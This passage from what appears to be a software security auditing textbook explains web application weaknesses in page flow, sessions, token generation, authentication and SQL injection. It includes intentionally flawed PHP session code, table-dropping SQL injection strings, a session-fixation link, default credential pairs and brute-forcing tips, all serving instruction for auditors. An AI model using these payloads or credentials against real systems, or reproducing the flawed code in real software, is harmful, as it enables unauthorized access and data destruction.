Separating business logic from the application logic for the Web site is a common 

design decision for large-scale applications. This design choice has many advantages 

and a few disadvantages. A design with this added layer has attractive characteristics 

from an object-oriented software engineering perspective, as it seems more 

amenable to maintenance and potential reuse, and the division seems logical. 

However, this separation can obfuscate the security impact of decisions made at 

higher layers. 

In general, if the business logic code is self-contained, it should be easier to write and 

maintain. It should also simplify the Web application code because it's primarily 

concerned with maintaining state, displaying output, and verifying authentication and 

authorization, with the exception of a few straightforward calls to business objects to 

perform business-oriented tasks. 

Separating business logic from the rest of the functionality has potential 

disadvantages, however. If business objects have a sequence of events that must 

occur in a particular order across multiple user requests, such as a multistep process 

for making a credit card payment, you effectively have two state machines that have 

to be kept in sync. The Web tier needs to be robust enough to call the business object 

methods only in the correct order, regardless of the sequencing of events users 

attempt. It also needs to reset or roll back the transaction in the business object when 

errors occur. Business objects becoming out of sync with the Web tier could lead to 

denial-of-service conditions and security exposures. 

Threading issues can also be more subtle with business objects. If you have multiple 

threads or hosts in the Web tier using the same business object at the same time, the 

potential for race conditions and desynchronization attacks can increase. 

Web Tier: Model-View-Controller 
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Enterprise Web applications often further divide up functionality in the Web tier. This 

division is often done via the Model-View-Controller (MVC) architecture pattern, 

which describes a user interface as being composed of three different modules. It's 

not a Web-specific model; it actually originated in the Smalltalk language and is used 

for general-purpose user interface design. It's just that the Web development 

community, or at least the Java Web development community, has embraced the 

MVC model for enterprise Web application development. Figure 17-4 shows this 

model. The dashed lines represent an indirect relationship, and the solid lines indicate 

a direct relationship. The MVC components are described in the following sections. 

Figure 17-4. Mode- View-Controller (MVC) architecture 

 

 

 

Model 

The Model component is software that models the underlying business processes and 

objects of a Web site. It corresponds to the business logic of an enterprise Web 

application. In an n-tier architecture with a separate business tier, the Model 

component refers to the software in the Web tier that's responsible for driving 

interaction with the business tier. 

View 

The View component is responsible for rendering the model's contents into a view for 

the user. It corresponds to the Web site's presentation logic. 

Controller 

The Controller component takes user input and commands the model or View 

component to act on the input. In a Web application, this component is a piece of code 
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that maps Web requests to model actions, and then selects the correct view based on 

the results of the model's processing. 

In a multitier MVC Web application, the Controller software handles requests from 

users. Based on these requests, the Controller calls the correct model action to handle 

the request. The model then calls business objects in the business tier, which may or 

may not proceed to call to the back-end data tier. The model interprets responses 

from the business tier and populates itself with that information. The Controller then 

chooses the view based on results from the model, and the View component renders 

the model's data back to the client. 

 

8.4.6 Problem Areas 

Several security issues are common in most Web applications because of inherent 

characteristics of HTTP and the Web environment. The following sections cover some 

general concerns you should be cognizant of when auditing Web code. 

Client Visibility 

Keep in mind that all data provided to the client is in a single trust domain, meaning 

users have total visibility into the client side of the Web application. Attackers can 

easily view the generated HTML for each transaction as well as other contents of all 

HTTP transactions, which leads to the following security consequences: 

 All forms and form parameters can be seen, as can all URLs and URL 

parameters. Therefore, the site's logic and structure are probably be easy to 

piece together by observing the layout of files and making a few educated 

guesses. This information can be useful to attackers as they probe a target 

Web site, looking for content they can't normally see or trying to attack 

specific links in a chain of pages. Keep this possibility in mind when evaluating 

any security mechanism that derives strength from obscuritymeaning the 

expectation that attackers can't guess the location of a page, figure out the 

correct sequence of events, or determine the correct variables that need to be 

submitted. 

 Hidden tags aren't hidden. If developers attempt to hide a piece of sensitive 

information by placing it in hidden tags in a dynamically generated form, they 

can get in trouble. This problem seems obvious enough, but it can surface in 

odd places. For example, if developers need to send an e-mail to an internal 

server, they might pass that internal server's IP address to an e-mail script. 

This type of exposure can also happen when passing a temporary filename 

that shouldn't have been visible to users, as it could be used later in an 

exploitable situation. 

31051536.html
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 Web and static content developers occasionally put sensitive or useful 

information in HTML comments. This oversight isn't likely to be a major 

vulnerability by itself, but it can definitely lead to exposing information that 

could assist intruders in leveraging another attack vector. Watch out for 

comments that include internal IP addresses, filenames and file paths, 

authentication credentials, or explanations of functionality. 

 Any client-side code, such as JavaScript, is visible to users, which can often 

lead to subtle exposures of information. For example, if a piece of JavaScript 

checks a password to make sure it's in the correct format, attackers could use 

those same rules to help construct a brute-force attack against the system. 

Also, client-side code filtering certain characters out of general-purpose input 

fields often indicates that the Web site's quality assurance (QA) team didn't 

test the impact of those characters; many QA teams don't try to bypass 

JavaScript. 

 HTML obfuscation tricks generally don't work. You can use various tricks to 

obfuscate the pages' source, but attackers can usually bypass these tricks 

easily. Attackers can write their own JavaScript that reuses your functions to 

undo any obfuscation. It's better to focus on security at the server side, not 

rely on client-side browser tricks. 

 Remember that users see the content of all error messages the Web 

application displays. These error messages can contain real pathnames as well 

as information that can be used in launching other types of attacks, such as 

SQL injection. 

Auditing Tip 

Examine all exposed static HTML and the contents of dynamically generated HTML to 

make sure nothing that could facilitate an attack is exposed unnecessarily. You should 

do your best to ensure that information isn't exposed unnecessarily, but at the same 

time, look out for security mechanisms that rely on obscurity because they are prone 

to fail in the Web environment. 

 

 

Client Control 

At any point, client users can construct completely arbitrary requests as they see fit, 

providing any combination of parameters, cookies, and request headers. 

Constructing these requests isn't hard and can be done by unsophisticated attackers 

with tools as simple as a text editor and a Web browser. In addition, several programs 

act as Web proxies and allow users to intercept and modify requests while they are in 

transit, making this easy task even simpler. 

The impact of this flexibility is that the server-side processing must be robust and 

capable of handling every possible combination and permutation of potential inputs. 
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Variables can effectively contain anything or even be missing, and page requests can 

come in any order. Web application developers can't rely on the integrity of any 

client-supplied information. Keep the following points in mind: 

 All form and query parameters can be altered, not just the ones that take 

direct user input. It's common for developers to catch most of the obvious 

vectors but miss a few seemingly innocuous hidden fields, such as a category 

number or a language code. 

 Client-side validation of form input via JavaScript isn't a security mechanism 

because it can be sidestepped easily. Most developers are now familiar with 

this fact and test for it, but mistakes still occur. You might see vulnerabilities 

missed by QA because the client-side interface is tested, not the server-side 

handler. So client-side code might prevent tests from identifying simple 

exploitation vectors that are available when requests are issued directly to the 

server. 

 Cookies and HTTP request headers can be changed by the client. A Web 

application should treat them just like it treats any other potentially malicious 

input from users. 

Auditing Tip 

Look at each page of a Web application as though it exists in a vacuum. Consider 

every possible combination of inputs, and look for ways to create a situation the 

developer didn't intend. Determine if any of these unanticipated situations cause a 

page use the input without first validating it. 

 

 

Page Flow 

A page flow is the progression through Web pages that a users makes when 

interacting with a Web application. For example, in a Web application that allows you 

to transfer money from one account to another, the page flow might look something 

like Figure 17-5. 

Figure 17-5. Simple page flow 

[View full size image] 
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A user would first browse to the TRansfer_start.php page, then select the source and 

destination accounts, enter the amount of money to transfer, and click Transfer 

Money. This takes the user to TRansfer_confirm.php, which provides an opportunity to 

review the decision, and then click to confirm the transfer. This would then take the 

user to the dotransfer.php page, which would actually perform the money transfer 

and display the transaction reference numbers. 

A common mistake in Web applications is to assume that attackers will request pages 

in a certain order. Because the client controls all requests it makes, it's entirely 

possible for the client to perform actions out of sequence. In some situations, this 

out-of-order sequence can allow attackers to bypass certain security measures and 

potentially exploit a system. 

For example, in the preceding page flow, the transfer_confirm.php page is 

responsible for validating that the source account entered in the transfer_start.php 

page actually belongs to the user. If an attacker goes straight to the dotransfer.php 

page, it's possible to bypass this check and potentially transfer money from an 

account the attacker isn't authorized to use. If the attacker did things only in the 

order developers intended, this couldn't happen because the transfer_confirm.php 

page would block the attack. 

Another page-flow related vulnerability can occur if an application makes an 

assumption about a variable or an object that a user doesn't have direct access to. For 

example, say an application places user's account number in the session after a 

successful login. All future pages in the application implicitly trust the account 

number's validity and use it to retrieve user information. There should be no possible 

way that normal use of the site through normal page flow could lead to a bad number 

getting in the session. However, if attackers can find a page they could call out of 

sequence, they could change this number in the session. Then they could potentially 

circumvent security controls and access other customer accounts. Note that this 

out-of-sequence page need change an account number for only a brief window of time, 

as attackers could use a second browser or second client with the same session to try 

to exploit the window. 

For another example of a page flow problem, say you have a page that only certain 

types of users are allowed to use. This page performs an authorization check that 

users must pass. It also makes use of a subsequent page that does more processing 

but doesn't contain the authorization check. Attackers who wouldn't be allowed to go 

to the first page could go straight to the second page and perform the unauthorized 

action. 

Auditing Tip 

Always consider what can happen if attackers visit the pages of a Web application in 

an order the developer didn't intend. Can you bypass certain security checks by 
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skipping past intermediate verification pages to the functionality that actually 

performs the processing? Can you take advantage of any race conditions or cause 

unanticipated results by visiting pages that use session data out of order? Does any 

page trust the validity of an information user's control? 

 

 

Sessions 

As discussed previously, sessions are collections of data stored on the server and tied 

to a particular user. They are typically created when users log in and then destroyed 

when users finish using the application. The following sections discuss some issues 

related to sessions. 

Session Use 

During a review, you should try to find every location where each session variable is 

manipulated. For every security-related session variable, try to brainstorm a 

technique for bypassing its associated security controls and checks. 

One thing to look for is inconsistent security checks. If a particular session variable is 

set in several places, you should ensure that each one does the same validation 

before manipulating the session. If one location is more permissive than others, you 

might be able to use that to your advantage when constructing an attack. You should 

also look for different places in the same Web application that use a session variable 

for different purposes. For example, the following PHP code is used to display details 

of an account: 

# display.php 

if ($_POST["action"]=="display") 

{ 

    display_account($_SESSION["account"]); 

} 

else if ($_POST["action"]=="select") 

{ 

    if (is_my_account($_POST["account"])) 

    { 

        $_SESSION["account"]=$_POST["account"]; 

        display_menu(); 

    } 

    else 

        display_error(); 

} 
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First, the user goes to a page to select which account to view. If the user selects a 

valid account, the account variable in the session is set to reflect that valid account, 

and the user is presented a menu page with the option of displaying more information 

on that account. If the user selects an invalid account, an error page is returned, and 

the session isn't updated. Looking at this page in a vacuum, there's no way to get an 

account in the session variable account so that you can display other users' account 

information. However, this excerpt from the same application does present an 

opportunity for mischief: 

#transfer.php 

if ($_POST["action"]=="start_transfer") 

{ 

    $_SESSION["account"]=$_POST["destination_account"]; 

    $_SESSION["account2"]=$_POST["source_account"]; 

    $_SESSION["amount"]=$_POST["amount"]; 

    display_confirm_page(); 

} 

else if ($_POST["action"]=="confirm_transfer") 

{ 

    $src = $_SESSION["account"]; 

    $dst = $_SESSION["account2"]; 

    $amount = $_SESSION["amount"]; 

 

    if (valid_transfer($src, $dst, $amount)) 

        do_transfer($src, $dst, $amount); 

    else 

        display_error_page(); 

} 

 

This code is from a page created for handling transfers from one account to another, 

and it also makes use of the session. When the user elects to start a transaction, the 

preceding code stores the destination account, the target account, and the amount of 

the transfer in the session. It then displays a confirmation page that summarizes the 

transaction user is about to attempt. If the user agrees to the transaction, the values 

are pulled out of the session and then validated. If they are legitimate values, the 

transfer is carried out. 

The security vulnerability is that both pages make use of the session variable account, 

but they use it for different purposes, and different security controls surround each 

use. If an attacker goes to transfer.php first and specifies an action of 

start_transfer and the account number of a victim in the POST parameter 

destination_account, the session variable account contains that victim's account 

number. The attacker could then go to display.php and submit an action of display, 
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and the display.php code would trust the session variable account and display the 

details of the victim's account to the attacker. 

Another problem to look out for is inconsistent error behavior. If an application places 

a value in a session, and then fails because of an error condition, the value might still 

be left in the session and could be used through other Web requests. For example, say 

the code for display.php looks like this: 

# display.php 

 

if ($_POST["action"]=="display") 

{ 

    display_account($_SESSION["account"]); 

} 

else if ($_POST["action"]=="select") 

 

{ 

    $_SESSION["account"]=$_POST["account"]; 

 

    if (is_my_account($_POST["account"])) 

        display_menu(); 

    else 

        display_error(); 

} 

 

The developer made the mistake of updating the session variable account even if the 

account doesn't belong to the user. The Web site displays an error message indicating 

that the account isn't valid, but if an attacker proceeds to submit an action of display 

to the same page, the response will return the details of the victim's account. 

Note 

Study each session variable, and determine where it's manipulated and the security 

checks for each of its manipulations. Try to brainstorm a way to evade security checks 

and get your own values in the session variable at a useful time. 

 

Session handling vulnerabilities also occur when an attacker can supply a valid 

session ID to a victim, granting access to the victim's session. This is known as a 

session fixation attack and it relies on an implementation that does not issue a new 

session key after a successful login. An attacker can exploit this vulnerability by 

sending the victim a link with the session ID embedded in the URL, as shown: 
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http://test.com/login?sessionid= 

 

Clicking through this link will bring the victim to a login screen. If the session code 

accepts the embedded key, the victim will log in with a session key already known to 

the attacker. Some session implementations don't accept a key that was not supplied 

by the server, so the attacker may first need to obtain a key by browsing to the site. 

Session Management 

As a security reviewer, seeing in-house code handling session management should 

give you pause. Robust session management has many facets that are very difficult 

to implement securely. You should budget extra time to review any custom session 

code. When you're assessing a custom session implementation, ask questions such as 

the following: 

 If the client gives the session ID code an unrecognized session token, does it 

create a new session? If so, does this new session have any security 

consequences? Would it be possible to attack the back-end session store or 

use up enough potential session tokens that you could easily guess the ones 

that will be created? 

 Is a new session token issued after the user logs on? If not, is it possible to 

pass a session token in the request string or are there other vulnerabilities 

that allow the session token to be passed as part of a cross-site scripting 

attack? 

 If an attacker launches a brute-force attack against the session mechanism by 

trying to guess a valid session token, is there any mechanism that detects this 

behavior or reacts to it? 

 Is session data load-balanced or shared between multiple Web servers? Is 

there a potential for security-relevant failure in this mechanism? Are there 

race conditions with modifications to the same variable at the same time? 

 How is the session token transmitted? Is it done with a cookie, via hidden 

Form fields, or by modifications of URI strings? Is there any risk of the session 

token being exposed through sniffing attacks, Web server and proxy logs, 

browser histories, and Referer tags? 

 Is session access code thread-safe? What happens if two clients try to access 

the session at the same time? Is there any potential for race conditions, or is 

only one Web page allowed to have the session data structure open at a time? 

 Is session expiration handled reasonably? Keep in mind that a user's session 

token quite possibly resides on the client machine after the user is done with 

your site. If attackers get access to that token via exploitation or cross-site 

scripting, they could hijack the user's session. Also, if expiration is 

inconsistently enforced or an implementation flaw affects session timeout, a 

few days or weeks of activity could leave hundreds of thousands of dormant 

sessions that attackers could potentially brute-force later. 
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 Can users intentionally destroy their sessions by logging out of the 

application? 

Session Tokens 

As discussed previously, many applications and Web frameworks use a session token 

to track state and uniquely identify a session. In a good implementation, these tokens 

are securely generated, long random numbers that prove effectively impossible to 

predict or reuse after expiration. If session tokens aren't generated by using a solid 

random number algorithm with enough entropy, the entire site's security can be 

jeopardized. 

The simplest, and least secure, scheme for generating session tokens is having a 

global session token and incrementing it each time a new session is created. With the 

proliferation of frameworks and languages that handle sessions, using incremental 

session tokens isn't common now, but they are used occasionally in custom session 

implementations. The impact is usually severe. If you log in to a site and are assigned 

the session token X, you know the next user to log in gets the session token X+1. You 

can then wait around a bit and hijack the next user's session after authentication by 

submitting the predicted next session token. Code auditors can easily recognize this 

scheme by observing the source code or monitoring the session tokens the Web site 

produces. 

People have come up with a vast number of schemes to generate session tokens. The 

worst schemes, and the ones to watch for, use easily recognizable and easily 

predictable information to form the token. If a site uses an e-mail address and a 

username, or an IP address and a username, as the session token, after you've 

observed your own token, you're in a good position to start guessing other users' 

tokens. For example, you could easily brute-force a session token based on 

concatenating the time of day in seconds and the user's account number. Attackers 

could try tens of thousands of accounts while probing for a time period during which 

the site is normally under heavy traffic and has many active users. 

Keep in mind that attackers can usually brute-force potential session tokens at 

extremely high speeds because of the stateless nature of HTTP. Also, attackers might 

be content with getting access to any session at all, not just a particular user they're 

targeting. A given scheme might make it hard for attackers to access a particular 

victim's account, but to be safe, the scheme needs to make it difficult for attackers to 

access any account with a broad-based attack that simply looks for the first success. 

If you have the time and resources, try to launch one of these attacks yourself by 

creating small testing scripts that search for valid tokens in a tight loop. 

Ideally, the session token needs to have a component that's random, unique, and 

unpredictable. This random component also needs to be large enough that attackers 

can't simply try a high percentage of the possible combinations in a reasonable 
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amount of time. This random component of the session token should be difficult to 

predict. The linear congruential generator (LCG) random number generators in most 

general-purpose programming libraries aren't appropriate for this purpose. For 

example, the numbers generated by the rand() family of functions on a typical UNIX 

standard library and the Java.util.Random class can be predicted easily, as they use 

the last result of the random operation as the seed for the next random operation. 

You might see systems that use sources of data that aren't secure but do 

transformations on it so that ascertaining how tokens are constructed would be 

difficult. For example, take a system that uses the time of day concatenated with the 

user's account number and a random number from a LCG, but MD5 hashes the whole 

string. You would have a hard time figuring out how to brute-force those session 

tokens from a black-box perspective, but it's not impossible. Attackers with enough 

patience and intuition could probably figure this scheme out eventually. Ultimately, 

although these schemes might be reasonably secure against external attackers, they 

aren't worth the potential risk of the obscurity being breached, especially when 

making the system demonstrably secure is simple. 

If a system is based on a cryptographic algorithm that requires a seed or key, you 

should evaluate the possibility of an attacker performing an offline attack and 

discovering the seed or key. For example, if the system generates a secure hash of 

the time of day combined with a global sequence number for each user, that's a weak 

seed that can be brute-forced. Even with limited inside knowledge, an offline search 

could be performed until the attacker figured out the algorithm for constructing the 

seed. 

This issue is explored more in Chapter 18(? [????.]), but for the Web environment, 

you should keep the following points in mind: 

 If your session token is too short, attackers can simply brute-force itthat is, try 

every possibility until they hit on an active session. 

 Time doesn't provide adequate entropy. Time specified with seconds can be 

brute-forced easily, and HTTP servers usually advertise times with seconds for 

every response in the Date response header. More precise timeswith 

milliseconds, for exampleprovide only a small amount of entropy, as attackers 

likely know the exact second processing occurred. 

 Simple random number generators, such as an LCG psuedo-random number 

generator (PRNG), don't offer enough protection. If you seed a typical random 

number function securely and then pull session tokens from it, attackers can 

launch an attack by observing session tokens and using them to predict future 

tokens. Cryptographically random values are needed instead. 

Note 
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Try to determine how session tokens are generated, and attempt to make sure that 

predicting or guessing a future session token is difficult. If you have the time and 

resources, it can be worth reverse-engineering or auditing any infrastructure 

component that handles sessions on behalf of the application, as they aren't always 

as secure as the developers would hope. 

 

 

Session Token Transmission 

Another session security concern is secure transmission of the session token. Watch 

for these issues when you're auditing a Web application: 

 If the session token is stored in a cookie, make sure the cookie is marked 

secure and is set only on pages served over SSL. Otherwise, the Web site runs 

the risk of transmitting session tokens in clear text over the network, which 

could be a major exposure, depending on the system's environment. 

 Watch for systems that transfer the session token in a GET-style query variable. 

These requests run the risk of being recorded in Web server logs and proxy 

logs, but there's a more subtle problem: If users at your Web site click a link 

to another Web site, the query string, with the session token, is transmitted to 

that third-party Web site via the Referer header field. This could certainly be 

an issue, depending on the Web site's design and whether it can contain links 

to third-party sites. Keep in mind that cross-site scripting attacks could also be 

used to capture tokens via the Referer header field. 

Authentication 

Keep the following areas of inquiry in mind while examining a Web application's 

authentication mechanisms: 

 Try to determine every possible resource on the Web site that's accessible 

without authentication. Double-check configuration files for extraneous 

functionality, and make sure there isn't anything accessible that should be 

protected. Any dynamic content that's available before authentication should 

be a priority in your audit because it's the content attackers will most likely 

explore. Any security vulnerabilities in generally accessible content can render 

the rest of the site's security useless. 

 Look for simple mistakes in authentication mechanisms. For example, in one 

application, the programmer didn't distinguish between the empty string "" 

and NULL in a Java servlet. This issue could be exploited to log in as an 

unnamed user by providing an empty string for the user name. These kinds of 

simple mistakes are easy to make, so study the actual login and password 

verification code line by line when possible. 
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 Check initial authentication interfaces for SQL injection as well as other types 

of injection issues. If any kind of external authentication system is involved, 

see whether you can get a machine to attempt to authenticate to a device of 

your choosing. For example, try usernames of admin@1.2.3.4 or 

1.2.3.4\admin and see whether you can elicit any kind of response or packets 

destined to the machine you specify. 

 Check for account/password pairs commonly used for administrative, default, 

and test accounts, such as admin/admin, guest/, guest/guest, test/test, 

test/test 123, qa/qa, and so on. 

 Attempt to find a way to discern a legitimate user from an invalid user, 

perhaps via timing or differences in error messages. If the system allows you 

to discover valid and invalid users, it's probably an unnecessary exposure of 

information. Also, look for error messages for locked-out users or special 

situations that might give out information. 

 Review account lockout procedures. Keep in mind that HTTP authentication 

can be performed quickly, so it's susceptible to brute-force attacks. This 

possibility has to be balanced with the possibility of a denial-of-service 

resulting from a wide-scale account lockout attack, which could be equally 

damaging. 

 Is any form of password strength checking used in the site? Are these rules so 

strict that they actually make it easier to predict valid passwords? 

 Review password storage procedures. How is password data managed and 

stored? Are passwords stored in plain text unnecessarily? 

 There are two styles of password brute-forcing attacks: the straightforward 

one, in which attackers attempts to guess user passwords by using a 

dictionary, and a less straightforward one. Say the system has a maximum of 

three bad logins before a lockout. Attackers can pick a likely password that 

someone will have and attempt to try every login with that password. They 

can do this once across all possible accounts, and they might have reasonable 

success, depending on the password policies and the size of the user pool. 

 If authentication is handled by a framework, you should feel comfortable 

testing that framework for obvious problems. For example, a WebLogic 

configuration allowed a method of GeT, instead of GET, to completely bypass 

the framework-based form authentication system. Don't be afraid to get your 

hands dirty, and don't trust anything. 

Auditing Tip 

First, focus on content that's available without any kind of authentication because this 

code is most exposed to Internet-based attackers. Then study the authentication 

system in depth, looking for any kind of issue that lets you access content without 

valid credentials. 
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Authorization and Access Control 

Authorization refers to the application components responsible for ensuring that 

authenticated users have access to only resources and actions to which they're 

entitled. To assess a system's authorization implementation, you want to determine 

which privilege levels the system defines and what the possible user roles are. Then 

you want to figure out what resources each privilege level can access and make sure 

everything is consistent. Mentally assume the role of each type of user, and then 

study the code and the available content to determine which resources you can 

access and whether your access is appropriate. 

Authorization can be performed in a centralized fashion, with all Web components 

sharing code that performs permission checks. It can also be decentralized, with each 

request handler being responsible for making sure the user is authorized to proceed. 

In either style, it's rare for authorization to be applied consistently in every situation, 

as it takes just one oversight, such as the following points, to miss something: 

 If authorization isn't centralized, you're likely to find a mistake in not checking 

an action of a particular form. Be on the lookout for any situation in which a 

piece of data is validated in one location but acted on in another location. If 

you can go directly to the location where the action occurs, you can potentially 

evade the authorization check. Refer to "Page Flow" earlier in this chapter, as 

these types of vulnerabilities are related. 

 Centralized authorization checks have pitfalls, too. Be on the lookout for 

architectures that have a script that includes an authorization script and a 

separate script to perform the action. You can often request the action script 

directly through the Web tree and bypass the authorization checking. 

 If centralized authorization checks are based on filenames, double-check that 

there aren't ways to circumvent the check. Consider extraneous PATH_INFO 

variables, the use of special characters such as %00, or the filename 

canonicalization issues discussed in Chapter 8(? [????.]). 

 Again, don't be afraid to test middleware and infrastructure components. It's 

not uncommon for straightforward mistakes to be made in these components, 

even in commercial products. 

Auditing Tip 

When reviewing authorization, you need to ensure that it's enforced consistently 

throughout the application. Do this by enumerating all privilege levels, user roles, and 

privileges in use. 

 

 

Encryption and SSL/TLS 
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SSL has been mentioned previously in this book, and this section offers a brief recap. 

Secure Sockets Layer/Transport Layer Security (SSL/TLS) is an application-layer 

protocol for securing communications between two clients over a socket connection. 

It uses certificates to authenticate the connection endpoints and encrypts 

communications over the socket. SSL allows both connection endpoints to be 

authenticated via the certificate, although most Web applications only authenticate 

the server to the client. TLS is an addition to SSL that primarily allows an active 

plain-text connection to be upgraded to an SSL connection. 

Authentication in SSL is handled entirely by certificates. Each endpoint contains a list 

of certificate authorities (CAs) it trusts. Any certificate presented to a client is checked 

to see whether it's valid and has been signed by one of these authorities. CAs are 

most apparent to Web users when they see an error message displayed while 

attempting to connect to an SSL Web site. The site's certificate might be expired; the 

domain name might not match the certificate exactly (such as www.neohapsis.com 

versus neohapsis.com); or the signing CA might not be trusted by the client. 

SSL is typically used when a server authenticates itself to a client by proving it 

corresponds to the domain name being requested. Additionally, registering a 

certificate with a trusted CA generates a paper trail and varying degrees of 

authentication, depending on the type of certificate. It's intended to make Web 

surfers feel reasonably assured that they're interacting with the correct Web site and 

their communications (such as personal or financial information) can't be intercepted 

by third parties. 

A less typical application of SSL communication is to validate the client to the server. 

However, this use is growing more common in Web services, in which both the client 

and server are automated systems. Both ends of the connection validate each other 

in essentially the same manner described previously. This technique is also useful for 

validating user connections to extremely critical sites, as it reduces most of the noise 

from worms and automated probes. Keep the following points in mind when assessing 

SSL use in Web applications: 

 SSL versions before SSLv3/TLSv1 have known cryptographic vulnerabilities. 

 U.S. cryptographic restrictions have historically limited key strength to 40 bits 

for any exported software. This key size is currently considered insufficient for 

protection, and the restrictions were lifted in 1996. 

 Many applications restrict only the login sequence, not the remainder of the 

session. This practice leaves the session key and all further communications 

vulnerable to eavesdropping and could result in exposing sensitive 

information or allowing the session to be hijacked. 

 Many small applications use self-signed certificates, meaning the browser 

doesn't trust the CA by default. This approach is vulnerable to a 

man-in-the-middle attack, as described in Chapter 3(? [????.]), "Operational 

Review." 

http://www.neohapsis.com/
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Phishing and Impersonation 

Attackers tend to follow the path of least resistance. More technical attackers might 

focus on finding intricate vulnerabilities in a Web application through focused black 

box testing, but a newer class of Internet criminal has adopted a simpler approach: 

the phishing attack. 

For each Web site criminals would like to attack, they construct a fake Web site 

resembling their target. They then attempt to lure users to that Web site through 

official-looking e-mails sent to possible users. If users of the site click the e-mail and 

end up at the faked Web site, they might have difficulty distinguishing it from the real 

site. Consequently, users can end up being tricked into surrendering credentials or 

important information that attackers can use at the real site for fraudulent purposes. 

Phishing attacks can leverage any of a number of vulnerabilities. Cross-site scripting 

and cross-site tracing are often useful in these attacks, although there are more 

subtle, obscure ways of phishing. For example, in February 2005, Eric Johanson 

reported a vulnerability in Mozilla's International Domain Name (IDN) handling 

(archived at www.mozilla.org/security/announce/2005/mfsa2005-29.html). The 

core of the vulnerability is that attackers can register a domain name and obtain a 

trusted SSL certificate for two hostnames that look identical but are actually 

composed of different characters. This is an example of the Unicode homographic 

attack described in Chapter 8(? [????.]). The attack involved registering the domain 

name www.xnpypal-4ve.com, which is rendered in an IDN-compliant browser as 

paypal.com. This method of encoding non-ASCII domain names is called punycode, 

and it's identified by any domain name component beginning with an "xn" string. In 

this attack, the punycode representation inserts a Cyrillic character that's rendered as 

the first a in paypal.com. The "-4ve" portion of the name contains the encoded 

character insertion information. 

This attack resulted in a domain name, an SSL certificate, and a Web site that was 

almost indistinguishable from the real Paypal site. In response, IDN-compliant 

browsers changed their handling of these names. They now inform users that the 

name is an IDN representation, and some browsers disable IDN by default. Of course, 

attackers still have numerous ways to trick users into falling for phishing attacks. As 

a reviewer, you need to be on the lookout for any application vulnerabilities that could 

simplify the phisher's job. 

8.4.7 Common Vulnerabilities 

Certain classes of technical vulnerabilities are common across most Web technologies. 

Web applications are usually written in high-level languages that are largely immune 

to the types of problems that plague C and C++ applications, such as buffer overflows 

and data type conversion issues. Most security problems in programs written in these 

higher-level languages occur in the places where they interact with other systems or 

http://www.mozilla.org/security/announce/2005/mfsa2005-29.html
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components, such as the database, file system, operating system, or network. Some 

of these technical problems are explained in the following sections. 

SQL Injection 

SQL injection, discussed in Chapter 8(? [????.]), is arguably one of the most common 

vulnerabilities in Web applications. To briefly recap, in SQL injection, a SQL query is 

constructed dynamically by using user input, and users are capable of inserting their 

own SQL commands into the query. 

When reviewing a Web application, try to find every interaction with the database 

engine to hunt down all potential SQL injection points. Sometimes, you need to 

augment your testing with black-box methods if the mapping to the underlying 

database is obscured by an object-oriented abstraction or is otherwise unclear. In 

general, you want to review every SQL query to make sure it's constructed in a safe 

fashion. 

SQL with bound parameters can be considered essentially safe because it forces that 

user-malleable data out-of-band from the SQL statement. Stored procedures are the 

next best thing, but be aware of the possibility of SQL injection when they are used. 

If the stored procedure constructs a dynamic SQL query using its parameters, the 

application is still just as vulnerable to SQL injection. This means you need source 

code for the scripts used to initialize the database and create stored procedures for 

the application, or you have to test their invocation. 

If the application authors attempt to escape metacharacters in dynamically 

constructed SQL, they can run into a lot of trouble. First, numeric columns in SQL 

queries don't require metacharacters to pull off SQL injection. For example, consider 

the following query: 

SELECT * FROM authtable WHERE PASSWORD = '$password' 

    AND USERNUMBER = $usernumber 

 

Suppose that authtable.USERNUMBER is a numeric column. If users have full control of 

the $usernumber variable, they could set it to a value such as 100 or 1= or 100; drop 

authtable;. Note that potentially dangerous SQL injection could occur without the use 

of any in-band metacharacters. Consequently, escaping metacharacters would have 

no impact. 

Escaping metacharacters can be effective for string columns, but it depends on the 

back-end database server and the metacharacters it honors. For example, if the 

application escapes single quotes by doubling them, attackers might be able to 

submit a variable such as \'. It would get converted to \'', which could be interpreted 
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as an escaped single quote followed by an unescaped single quote, depending on the 

behavior of the back-end database server. 

Another issue is related to escaping metacharacters in user-supplied data. Consider 

what happens if data in the database actually contains metacharacters. Say a user 

submits a value containing a single quote, and it's correctly escaped and inserted into 

the database. If the value submitted is myname ' drop users , the resulting query might 

be something like this: 

INSERT INTO mytable id, item 

   VALUES ( 10, 'myname '' drop users --' ); 

 

This query is safe, but a problem could happen if that value is retrieved from the 

database later and used in another dynamically constructed SQL query, as shown in 

this example: 

$username = mysqlquery( 

    "SELECT name FROM mytable WHERE id = 10"); 

$newquery = 

    "SELECT * FROM mydetails WHERE id = '".$username."'"; 

 

This query is now exploitable because its metacharacters aren't escaped. It ends up 

looking like this: 

select * from my details where id = 'myname ' drop users --' 

 

This query causes the users table to be dropped. These types of vulnerabilities are 

discussed in "Second Order Injection" later in this section. 

Parameterized Queries 

Any coverage of SQL injection would be incomplete without some introduction to 

protective measures. Parameterized queries, one of the two primary measures of 

preventing SQL injection attacks, use placeholders for variable parameters, and bind 

the parameter to a specific data type before issuing the statement. This method 

forces the query data out of-band, preventing the parameter from being interpreted 

as an SQL statement, regardless of the content. Parameterized queries can be 

implemented in a number of ways by a data access module or the database. One 

common form of parameterized query is a prepared statement, which was 

originally used to improve the performance of SQL databases. Prepared statements 

allow a query to be compiled once and then issued multiple times with different 

parameters, thus eliminating the overhead of compilation for repeated queries. This 
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compilation also results in binding query parameters to specific data types to assist in 

optimizing the query execution plan. A parameterized query doesn't need to be 

implemented as a prepared statement; however, you can treat both as fairly 

interchangeable for security purposes. Here's an example of a simple parameterized 

query string: 

"SELECT * FROM table1 WHERE val1 = ?" 

 

The ? character is used as a placeholder for a parameter, although the exact 

placeholder can vary from implementation to implementation. The query 

parameterization usually requires parameter type information, but it can also vary 

between implementations. Because parameterization often includes compilation of 

the statement, you want to focus on the impact of that process. Specifically, you need 

to understand how compilation places certain restrictions on what statements can be 

accepted. Take a look at the following statement: 

"SELECT * FROM " + tableName + " WHERE value = ?" 

 

This statement is still vulnerable to SQL injection if users supply input for the 

tableName parameter; however, the developer might have no other choice for a 

dynamic table name. When the statement is compiled, all structural elements of the 

query must be present in the parameterized query, including table names, column 

names, and any SQL directives. Effectively, this means parameterized queries can 

substitute parameters for only a WHERE, SET, or VALUES clause. These three clause 

cover most SQL queries but miss a number of more complex cases. For example, a 

query with a WHERE clause might depend on certain values being present. A developer 

could implement it as follows: 

"SELECT * FROM table WHERE name = ?" 

    + (param1 != NULL ? " AND col1 LIKE '" + param1 + "'" : "") 

